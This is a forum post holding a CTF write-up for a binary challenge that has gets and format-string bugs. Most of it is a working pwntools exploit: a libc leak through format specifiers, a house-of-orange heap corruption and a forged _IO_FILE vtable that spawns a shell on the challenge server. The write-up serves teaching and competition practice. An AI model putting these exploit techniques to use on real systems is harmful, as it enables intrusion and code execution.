首页
社区
课程
招聘
[原创]看雪CTF.TSRC 2018 团队赛 第十四题 你眼中的世界
2018-12-28 11:44 4640

[原创]看雪CTF.TSRC 2018 团队赛 第十四题 你眼中的世界

2018-12-28 11:44
4640
题目源码:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int v3; // ebx
  unsigned int v4; // eax
  void *v5; // rbp

  v3 = 5;
  sub_5647BE0B4AB0();
  puts("echo from your heart");
  do
  {
    __printf_chk(1LL, "lens of your word: ");
    v4 = sub_5647BE0B4AF0(1LL, "lens of your word: ");
    if ( v4 > 0x1000 )
    {
      puts("too long");
      exit(1);
    }
    v5 = malloc(v4);
    __printf_chk(1LL, "word: ");
    gets(v5);
    __printf_chk(1LL, "echo: ");
    __printf_chk(1LL, v5);
    putchar(10);
    --v3;
  }
  while ( v3 );
  return 0LL;
}

猜测漏洞在gets,具体怎么利用一无所知。
然后发现函数__printf_chk 没有见过,不知道有没有print不一样的地方。
搜了一下,居然发现了跟此题神似的原题:
hctf2017 babyprintf
并找到wp一篇:
https://bbs.pediy.com/thread-222735.htm
按照此wp操作,得到了libc地址,但是原文中的vtable偏移并不知道怎么来的。
vtable_addr=libc_base+0x3BE4C0
打开libc2.24看了一下

然而再libc2.23 中并无此节__libc_IO_vtables
所以此方法gg.

用google 搜索 hctf2017 pwn  unsortedbin attack,找到另外一篇wp:
https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/
其中第五部分

HCTF2017 babyprintf

正是此题,wp似乎更为简单。
照此wp操作,唯一的问题是此wp中_IO_str_jumps偏移可以直接搜索符号得到,但是2.23中运行并不可以。
好在又找到一篇wp:
https://xz.aliyun.com/t/2411
此文章内介绍了一种搜索_io_str_jumps的方法:
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
    possible_IO_str_jumps_offset = ref_offset - 0x20
    if possible_IO_str_jumps_offset > IO_file_jumps_offset:
        print possible_IO_str_jumps_offset
        break

有了以上基础,直接拼凑一篇wp就搞定了。
file.py
from pwn import *





_IO_FILE_plus_size = {

	'i386':0x98,

	'amd64':0xe0

}

_IO_FILE_plus = {

	'i386':{

		0x0:'_flags',

		0x4:'_IO_read_ptr',

		0x8:'_IO_read_end',

		0xc:'_IO_read_base',

		0x10:'_IO_write_base',

		0x14:'_IO_write_ptr',

		0x18:'_IO_write_end',

		0x1c:'_IO_buf_base',

		0x20:'_IO_buf_end',

		0x24:'_IO_save_base',

		0x28:'_IO_backup_base',

		0x2c:'_IO_save_end',

		0x30:'_markers',

		0x34:'_chain',

		0x38:'_fileno',

		0x3c:'_flags2',

		0x40:'_old_offset',

		0x44:'_cur_column',

		0x46:'_vtable_offset',

		0x47:'_shortbuf',

		0x48:'_lock',

		0x4c:'_offset',

		0x54:'_codecvt',

		0x58:'_wide_data',

		0x5c:'_freeres_list',

		0x60:'_freeres_buf',

		0x64:'__pad5',

		0x68:'_mode',

		0x6c:'_unused2',

		0x94:'vtable'

	},



	'amd64':{

		0x0:'_flags',

		0x8:'_IO_read_ptr',

		0x10:'_IO_read_end',

		0x18:'_IO_read_base',

		0x20:'_IO_write_base',

		0x28:'_IO_write_ptr',

		0x30:'_IO_write_end',

		0x38:'_IO_buf_base',

		0x40:'_IO_buf_end',

		0x48:'_IO_save_base',

		0x50:'_IO_backup_base',

		0x58:'_IO_save_end',

		0x60:'_markers',

		0x68:'_chain',

		0x70:'_fileno',

		0x74:'_flags2',

		0x78:'_old_offset',

		0x80:'_cur_column',

		0x82:'_vtable_offset',

		0x83:'_shortbuf',

		0x88:'_lock',

		0x90:'_offset',

		0x98:'_codecvt',

		0xa0:'_wide_data',

		0xa8:'_freeres_list',

		0xb0:'_freeres_buf',

		0xb8:'__pad5',

		0xc0:'_mode',

		0xc4:'_unused2',

		0xd8:'vtable'

	}

}





class IO_FILE_plus_struct(dict):

	arch = None

	endian = None

	fake_file = None

	size  = 0

	FILE_struct = []

	



	@LocalContext

	def __init__(self):

		self.arch = context.arch

		self.endian = context.endian



		if self.arch != 'i386' and self.arch != 'amd64':

			log.error('architecture not supported!')

		success('arch: '+str(self.arch))



		self.FILE_struct = [_IO_FILE_plus[self.arch][i] for i  in sorted(_IO_FILE_plus[self.arch].keys())]

		print self.FILE_struct

		self.update({r:0 for r in self.FILE_struct})

		self.size = _IO_FILE_plus_size[self.arch]

		



	def __setitem__(self, item, value):

		if item not in self.FILE_struct:

			log.error("Unknown item %r (not in %r)" % (item, self.FILE_struct))

		super(IO_FILE_plus_struct, self).__setitem__(item, value)



	def __setattr__(self, attr, value):

		if attr in IO_FILE_plus_struct.__dict__:

			super(IO_FILE_plus_struct, self).__setattr__(attr, value)

		else:

			self[attr]=value



	def __getattr__(self, attr):

		return self[attr]



	def __str__(self):

		fake_file = ""

		with context.local(arch=self.arch):

			for item_offset in sorted(self.item_offset):

				if len(fake_file) < item_offset:

					fake_file += "\x00"*(item_offset - len(fake_file))

				fake_file += pack(self[_IO_FILE_plus[self.arch][item_offset]],word_size='all')

			fake_file += "\x00"*(self.size - len(fake_file))

		return fake_file



	@property

	def item_offset(self):

		return _IO_FILE_plus[self.arch].keys()

wp

from pwn import *
import binascii
import time
import struct
import random
import sys
g_local=0
context.log_level='debug'

#https://bbs.pediy.com/thread-222735.htm

def do_one(sh,llen,data): 
    sh.recvuntil('your word: ')
    sh.sendline(str(llen))
    sh.recvuntil(': ')
    sh.sendline(data)


sh=0
if g_local:
    sh=process("./echopwn")
    l=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    offset_binsh=0x18cd57
    raw_input("ida has attch? Press any key for continue...")
else:
    sh=remote("211.159.175.39",8686)
    #l=ELF("./libc.2.23.so")
    #offset_binsh=0x18cd57
    l=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    offset_binsh=0x18cd57

#in libc file offset
offset_start_main=0x20740 




def test():
    sh.recvuntil('your word: ')
    llen=0x90-8
    sh.sendline(str(llen))
    sh.recvuntil(': ')
    leak_libc='%1$p %2$p %3$p %4$p %5$p aaa %6$p %7$p bbb %8$p '
    sstr='%p'*90
    sh.sendline(leak_libc)
    sh.recvuntil('aaa ')
    data=sh.recvuntil(' ')[:-1]
    stack_pointer=int(data,16)
    sh.recvuntil('bbb ')
    data=sh.recvuntil(' ')[:-1]
    real_start_main=int(data,16) #
    print hex(real_start_main)
    print hex(stack_pointer)
    libc_base=real_start_main-offset_start_main-0xf0
    real_io_list=libc_base+l.symbols['_IO_list_all']
    real_io_stdin_buf_base=libc_base+l.symbols['_IO_2_1_stdin_']+0x40
    real_system=libc_base+l.symbols['system']
    real_binsh=libc_base+offset_binsh
    print "libc_base",hex(libc_base)
    print "real_io_list",hex(real_io_list)
    print "real_io_stdin_buf_base",hex(real_io_stdin_buf_base)
    print "real_system",hex(real_system)
    print "real_binsh",hex(real_binsh)
    
    raw_input("xxxxx")
    #house of orange
    do_one(sh,0x90-8,'a'*0x80+p64(0)+p64(0xee1))
    do_one(sh,0x1000-8,'b'*0x80+p64(0)+p64(0x61)+p64(0xddaa)+p64(real_io_list-0x10))
 
    #do_one(io,0x90-8,'a'*0x10)
    fake_chunk='\x00'*8+p64(0x61)#why ? io_file?
    fake_chunk+=p64(0xddaa)+p64(real_io_list-0x10)
    fake_chunk+=p64(0xffffffffffffff)+p64(0x2)+p64(0)*2+p64( (real_binsh-0x64)/2 )
    fake_chunk=fake_chunk.ljust(0xa0,'\x00')
    fake_chunk+=p64(real_system+0x420)
    fake_chunk=fake_chunk.ljust(0xc0,'\x00')
    fake_chunk+=p64(1)
    vtable_addr=libc_base+0x3c2c60
    print "vtable_addr",hex(vtable_addr)
    payload =fake_chunk
    payload += p64(0)
    payload += p64(0)
    payload += p64(vtable_addr)
    payload += p64(real_system)
    payload += p64(2)
    payload += p64(3)
    payload += p64(0)*3 # vtable
    payload += p64(real_system)
 
    #do_one(io,0x90-8,'c'*0x80+p64(0)+p64(0x61)+p64(libc_base+0x3c17b8)+p64(real_io_list-0x10) )
    do_one(sh,0x90-8,'c'*0x80+payload )
 
    #trigger_ unsort bin
 
    #do_one(io,0x1000-8,'%1$p %2$p %3$p %4$p %5$p aaa %6$p %7$p'+'\x00'*2+'aaaa')
 
 
    sh.interactive()


def test1():
    sh.recvuntil('your word: ')
    llen=0x90-8
    sh.sendline(str(llen))
    sh.recvuntil(': ')
    leak_libc='%1$p %2$p %3$p %4$p %5$p aaa %6$p %7$p bbb %8$p '
    sstr='%p'*90
    sh.sendline(leak_libc)
    sh.recvuntil('aaa ')
    data=sh.recvuntil(' ')[:-1]
    stack_pointer=int(data,16)
    sh.recvuntil('bbb ')
    data=sh.recvuntil(' ')[:-1]
    real_start_main=int(data,16) #
    print hex(real_start_main)
    print hex(stack_pointer)
    libc_base=real_start_main-offset_start_main-0xf0
    real_io_list=libc_base+l.symbols['_IO_list_all']
    real_io_stdin_buf_base=libc_base+l.symbols['_IO_2_1_stdin_']+0x40
    real_system=libc_base+l.symbols['system']
    real_binsh=libc_base+offset_binsh
    #real_IO_str_jumps=libc_base+l.symbols['_IO_str_jumps']
    print "libc_base",hex(libc_base)
    print "real_io_list",hex(real_io_list)
    print "real_io_stdin_buf_base",hex(real_io_stdin_buf_base)
    print "real_system",hex(real_system)
    print "real_binsh",hex(real_binsh)
    IO_file_jumps_offset = l.sym['_IO_file_jumps']
    IO_str_underflow_offset = l.sym['_IO_str_underflow']
    print "IO_str_underflow_offset",hex(IO_str_underflow_offset)
    print hex(libc_base+IO_str_underflow_offset)
    for ref_offset in l.search(p64(IO_str_underflow_offset)):
        possible_IO_str_jumps_offset = ref_offset - 0x20
        if possible_IO_str_jumps_offset > IO_file_jumps_offset:
            print possible_IO_str_jumps_offset
            break
    print "possible_IO_str_jumps_offset",hex(possible_IO_str_jumps_offset)
    real_IO_str_jumps=libc_base+possible_IO_str_jumps_offset
    print "real_IO_str_jumps",hex(real_IO_str_jumps)
    raw_input("xxxxx") 
    # house of orange

    pay = 'A'*0x200

    from FILE import *

    context.arch = 'amd64'

    fake_file = IO_FILE_plus_struct()

    fake_file._flags = 0

    fake_file._IO_read_ptr = 0x61

    fake_file._IO_read_base =real_io_list-0x10

    fake_file._IO_buf_base = real_binsh

    fake_file._mode = 0

    fake_file._IO_write_base = 0

    fake_file._IO_write_ptr = 1

    fake_file.vtable = real_IO_str_jumps-8

    pay+=str(fake_file).ljust(0xe8,'\x00')+p64(real_system)

    do_one(sh,0x200,pay)



    # triger OVERFLOW

    sh.sendline('1')



    sh.interactive()
    
def test2():
    #sh.recvuntil('your word: ')
    # modify top chunk size

    pay = 'A'*0x18 + '\xe1\x0f'

    do_one(sh,8,pay)



    # leak && triger _start_main

    pay=r'%p%p%p%p%p%p%pSTART%pEND'

    #z('b*0x0000000000400810\nc')

    do_one(sh,0xfff,pay)

    sh.recvuntil('START')

    leak = sh.recvuntil('END')[:-3]

    #libc_base = int(leak,16)-libc.symbols['__libc_start_main']-240
    real_start_main=int(leak,16) 

    libc_base=real_start_main-offset_start_main-0xf0
    real_io_list=libc_base+l.symbols['_IO_list_all']
    #real_io_stdin_buf_base=libc_base+l.symbols['_IO_2_1_stdin_']+0x40
    real_system=libc_base+l.symbols['system']
    real_binsh=libc_base+offset_binsh
    #real_IO_str_jumps=libc_base+l.symbols['_IO_str_jumps']
    print "libc_base",hex(libc_base)
    print "real_io_list",hex(real_io_list)
    #print "real_io_stdin_buf_base",hex(real_io_stdin_buf_base)
    print "real_system",hex(real_system)
    print "real_binsh",hex(real_binsh)
    IO_file_jumps_offset = l.sym['_IO_file_jumps']
    IO_str_underflow_offset = l.sym['_IO_str_underflow']
    print "IO_str_underflow_offset",hex(IO_str_underflow_offset)
    print hex(libc_base+IO_str_underflow_offset)
    for ref_offset in l.search(p64(IO_str_underflow_offset)):
        possible_IO_str_jumps_offset = ref_offset - 0x20
        if possible_IO_str_jumps_offset > IO_file_jumps_offset:
            print possible_IO_str_jumps_offset
            break
    print "possible_IO_str_jumps_offset",hex(possible_IO_str_jumps_offset)
    real_IO_str_jumps=libc_base+possible_IO_str_jumps_offset
    print "real_IO_str_jumps",hex(real_IO_str_jumps)
    raw_input("xxxxx") 
    
    
    # house of orange

    pay = 'A'*0x200

    from FILE import *

    context.arch = 'amd64'

    fake_file = IO_FILE_plus_struct()

    fake_file._flags = 0

    fake_file._IO_read_ptr = 0x61

    fake_file._IO_read_base =real_io_list-0x10

    fake_file._IO_buf_base = real_binsh

    fake_file._mode = 0

    fake_file._IO_write_base = 0

    fake_file._IO_write_ptr = 1

    fake_file.vtable = real_IO_str_jumps-8

    pay+=str(fake_file).ljust(0xe8,'\x00')+p64(real_system)

    do_one(sh,0x200,pay)



    # triger OVERFLOW

    sh.sendline('1')



    sh.interactive()
test2()


比较坑的是,加载给的libc似乎会失败,好在本地环境与服务器一致,直接切换到本地环境,也能成功。





[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2018-12-28 11:46 被lacoucou编辑 ,原因: 修改错字
收藏
点赞4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回